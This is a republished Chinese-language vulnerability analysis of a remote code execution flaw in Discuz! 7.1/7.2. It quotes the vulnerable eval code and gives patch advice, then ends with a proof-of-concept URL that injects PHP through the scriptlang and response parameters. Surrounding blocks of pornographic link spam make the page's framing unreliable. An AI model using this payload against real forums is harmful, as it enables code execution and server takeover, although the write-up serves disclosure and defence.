亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb

首頁 > CMS > Discuz > 正文

Discuz! 7.1 遠程代碼執行漏洞

2024-09-11 09:03:35
字體:
來源:轉載
供稿:網友
截稿至此時,黑客X檔案等一些使用discuz!最新版的論壇已被攻擊進而無法訪問。

首先說一下,漏洞是t00ls核心群傳出去的,xhming先去讀的,然后我后來讀的,讀出來的都是代碼執行,1月5日夜里11點多鐘,在核心群的黑客們的要求下,xhming給了個poc,我給了個exp,確實發現的是同一個問題。截止夜里2點多種我下線,還只有t00ls核心群里幾個人知道我給出的exp,可我怎么也想不到,經過半天時間,exp就滿天飛了,而且確實出自昨天我的那個版本。

不難想象,exp流傳的速度,A與B關系好,A發給B;B與C是好朋友,B發給C...總有人耐不住性子,泄露點風聲,于是就人手一份。最受不了的是,竟然有些SB在群里拿來叫賣;實在不想說什么,要叫賣什么時候輪到你?人心不古,以后有的話還是自己藏著吧。

上午漏洞告訴了Saiy,DZ官方的補丁很快就出來了吧。

特別說明:產生漏洞的$scriptlang數組在安裝插件后已經初始化,因此有安裝插件的用戶不受影響。

漏洞介紹:

Discuz!新版本7.1與7.2版本中的showmessage函數中eval中執行的參數未初始化,可以任意提交,從而可以執行任意PHP命令。

漏洞分析:

下面來分析下這個遠程代碼執行漏洞,這個問題真的很嚴重,可以直接寫shell的:

一、漏洞來自showmessage函數:

function showmessage($message, $url_forward = '', $extra = '', $forwardtype = 0) {
    extract($GLOBALS, EXTR_SKIP);//危險的用法,未初始化的變量可以直接帶進函數,直接導致了問題產生,from www.oldjun.com
    global $hookscriptmessage, $extrahead, $discuz_uid, $discuz_action, $debuginfo, $seccode, $seccodestatus, $fid, $tid, $charset, $show_message, $inajax, $_DCACHE, $advlist;
    define('CACHE_FORBIDDEN', TRUE);
    $hookscriptmessage = $show_message = $message;$messagehandle = 0;
    $msgforward = unserialize($_DCACHE['settings']['msgforward']);
    $refreshtime = intval($msgforward['refreshtime']);
    $refreshtime = empty($forwardtype) ? $refreshtime : ($refreshtime ? $refreshtime : 3);
    $msgforward['refreshtime'] = $refreshtime * 1000;
    $url_forward = empty($url_forward) ? '' : (empty($_DCOOKIE['sid']) && $transsidstatus ? transsid($url_forward) : $url_forward);
    $seccodecheck = $seccodestatus & 2;
    if($_DCACHE['settings']['funcsiteid'] && $_DCACHE['settings']['funckey'] && $funcstatinfo && !IS_ROBOT) {
        $statlogfile = DISCUZ_ROOT.'./forumdata/funcstat.log';
        if($fp = @fopen($statlogfile, 'a')) {
            @flock($fp, 2);
            if(is_array($funcstatinfo)) {
                $funcstatinfo = array_unique($funcstatinfo);
                foreach($funcstatinfo as $funcinfo) {
                    fwrite($fp, funcstat_query($funcinfo, $message)."/n");
                }
            } else {
                fwrite($fp, funcstat_query($funcstatinfo, $message)."/n");
            }
            fclose($fp);
            $funcstatinfo = $GLOBALS['funcstatinfo'] = '';
        }
    }

    if(!defined('STAT_DISABLED') && STAT_ID > 0 && !IS_ROBOT) {
        write_statlog($message);
    }

    if($url_forward && (!empty($quickforward) || empty($inajax) && $msgforward['quick'] && $msgforward['messages'] && @in_array($message, $msgforward['messages']))) {
        updatesession();
        dheader("location: ".str_replace('&', '&', $url_forward));
    }
    if(!empty($infloat)) {
        if($extra) {
            $messagehandle = $extra;
        }
        $extra = '';
    }
    if(in_array($extra, array('HALTED', 'NOPERM'))) {
        $discuz_action = 254;
    } else {
        $discuz_action = 255;
    }

    include language('messages');

    $vars = explode(':', $message);//只要含:就可以了
    if(count($vars) == 2 && isset($scriptlang[$vars[0]][$vars[1]])) {//兩個數字即可,用:分割
        eval("/$show_message = /"".str_replace('"', '/"', $scriptlang[$vars[0]][$vars[1]])."/";");//$scriptlang未初始化,可以自定義,from www.oldjun.com
    } elseif(isset($language[$message])) {
        $pre = $inajax ? 'ajax_' : '';
        eval("/$show_message = /"".(isset($language[$pre.$message]) ? $language[$pre.$message] : $language[$message])."/";");
        unset($pre);
    }

    ......
}

二、DZ的全局機制導致了未初始化的參數可以任意提交:

foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
    foreach($$_request as $_key => $_value) {
        $_key{0} != '_' && $$_key = daddslashes($_value);
    }
}

三、misc.php正好有個可以自定義message的點,其實也是未初始化:

elseif($action == 'imme_binding' && $discuz_uid) {

    if(isemail($id)) {
        $msn = $db->result_first("SELECT msn FROM {$tablepre}memberfields WHERE uid='$discuz_uid'");
        $msn = explode("/t", $msn);
        $id = dhtmlspecialchars(substr($id, 0, strpos($id, '@')));
        $msn = "$msn[0]/t$id";
        $db->query("UPDATE {$tablepre}memberfields SET msn='$msn' WHERE uid='$discuz_uid'");
        showmessage('msn_binding_succeed', 'memcp.php');
    } else {
        if($result == 'Declined') {
            dheader("Location: memcp.php");
        } else {
            showmessage($response['result']);//$response沒有初始化,可以自定義,from www.oldjun.com

        }
    }

   }

四、漏洞利用:

showmessage函數里$vars = explode(':', $message);然后message可以自己控制,于是就很容易了,參數是兩個自定義的數組。

五、漏洞修復:

1.有補丁的打補??;
2.沒有補丁可以暫時先注釋引起漏洞的語句,或者對兩個變量賦個值。

poc:

(應Saiy的要求,不發exp了?。┳砸粋€用戶登陸,然后提交
misc.php?action=imme_binding&response[result]=1:2&scriptlang[1][2]={${phpinfo()}}

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb
欧美床上激情在线观看| 国产精品久久999| 国产精品免费久久久久久| 国产视频一区在线| 久久精品国产亚洲7777| 在线不卡国产精品| 国产成人精品免高潮费视频| 国产亚洲精品久久久| 国产日韩欧美另类| 国产精品视频免费在线观看| 中文字幕在线精品| 亚洲最大av网站| 日韩av在线免费观看| 自拍偷拍亚洲一区| 国产欧美一区二区三区视频| 91亚洲精品久久久久久久久久久久| 亚洲成年人影院在线| 久久久综合免费视频| 国产欧美日韩精品丝袜高跟鞋| 欧美视频不卡中文| 精品二区三区线观看| 久久久中精品2020中文| 欧美综合一区第一页| 一区二区三区视频免费| 亚洲韩国日本中文字幕| 在线精品国产成人综合| 91九色综合久久| 日韩av免费在线观看| 亚洲欧美制服中文字幕| 久久免费精品日本久久中文字幕| 中文在线资源观看视频网站免费不卡| 欧美激情一区二区久久久| 欧美在线观看网址综合| 亚洲精品视频免费| 在线看福利67194| 国产精品aaa| 91成人在线观看国产| 欧美综合激情网| 亲子乱一区二区三区电影| 欧美黄色性视频| 午夜精品久久久久久久男人的天堂| 日韩欧美精品免费在线| 欧美尺度大的性做爰视频| 欧美日韩午夜剧场| 国产丝袜高跟一区| 成人福利视频在线观看| 亚洲欧洲在线看| 亚洲网址你懂得| 久久视频精品在线| 欧美性猛交xxxx富婆| 日韩中文字幕在线观看| 日韩经典中文字幕在线观看| 欧美大片在线看免费观看| 91免费人成网站在线观看18| 日韩精品日韩在线观看| 色777狠狠综合秋免鲁丝| 亚洲毛片在线观看| 日韩欧美福利视频| 久久久精品国产亚洲| 精品久久中文字幕久久av| 中文字幕亚洲一区二区三区五十路| 日韩欧美成人网| 欧美精品久久久久a| 国产xxx69麻豆国语对白| 亚洲精品国产综合久久| 成人激情电影一区二区| 日韩久久免费视频| 一区二区在线免费视频| 亚洲三级黄色在线观看| 欧美精品情趣视频| 欧美日韩中文字幕日韩欧美| 成人精品视频99在线观看免费| 国产亚洲精品久久| 久久在线视频在线| 国产视频欧美视频| 精品国产美女在线| 亚洲国产成人91精品| 91国内精品久久| 欧美性一区二区三区| 亚洲国产欧美久久| 欧美亚洲伦理www| 亚洲性av在线| 45www国产精品网站| 亚洲福利在线观看| 欧美综合在线观看| 91在线观看免费高清| 欧美大片免费看| 成人做爽爽免费视频| 亚洲人成电影在线| 91久久久国产精品| 久久久久亚洲精品| 欧美疯狂xxxx大交乱88av| 亚洲国产日韩一区| 亚洲欧洲日产国码av系列天堂| 亚洲男人天堂九九视频| 国产91精品久久久久| 91亚洲精品久久久| 欧美成人精品不卡视频在线观看| 久久亚洲综合国产精品99麻豆精品福利| 精品电影在线观看| 欧美一级视频在线观看| 久久精品电影一区二区| 国产中文字幕亚洲| 91精品国产91久久久久久| 欧洲精品在线视频| 992tv在线成人免费观看| 亚洲免费av电影| 国产精品久久久久久久久久新婚| 欧美综合国产精品久久丁香| 欧美激情欧美激情| 亚洲性线免费观看视频成熟| 欧美精品激情在线观看| 色悠久久久久综合先锋影音下载| 欧美诱惑福利视频| 国产精品偷伦一区二区| 国产亚洲欧美日韩一区二区| 亚洲国产一区二区三区在线观看| 亚洲国产精品成人一区二区| 欧美日韩国产精品一区二区三区四区| 91影院在线免费观看视频| 亚洲aa中文字幕| 久久久999国产精品| 亚洲美腿欧美激情另类| 动漫精品一区二区| 国产精品狼人色视频一区| 91理论片午午论夜理片久久| 亚洲欧洲日产国码av系列天堂| 亚洲欧美国产精品| 亚洲精品国产美女| 亚洲人成网在线播放| 国产精品一区二区三区免费视频| 久久久精品免费视频| 国产精品伦子伦免费视频| 日韩欧美中文字幕在线播放| 92版电视剧仙鹤神针在线观看| 精品国偷自产在线视频99| 青青a在线精品免费观看| 亚洲美女精品久久| 色视频www在线播放国产成人| 中文字幕视频在线免费欧美日韩综合在线看| 欧美视频在线免费| 精品福利在线观看| 久久久久女教师免费一区| 亚洲激情视频在线播放| 日韩精品中文字幕视频在线| 日韩av在线免费观看一区| 亚洲在线免费观看| 欧美专区在线观看| 97久久超碰福利国产精品…| 91中文精品字幕在线视频| 91免费精品国偷自产在线| 久久艳片www.17c.com| 国产精品高清免费在线观看| 国产视频精品久久久| 国产精品久久久久aaaa九色| 人九九综合九九宗合| 66m—66摸成人免费视频| 三级精品视频久久久久| 91人人爽人人爽人人精88v| 欧美成aaa人片在线观看蜜臀| 在线中文字幕日韩| 97成人超碰免| 国产丝袜一区视频在线观看| 久久夜精品香蕉|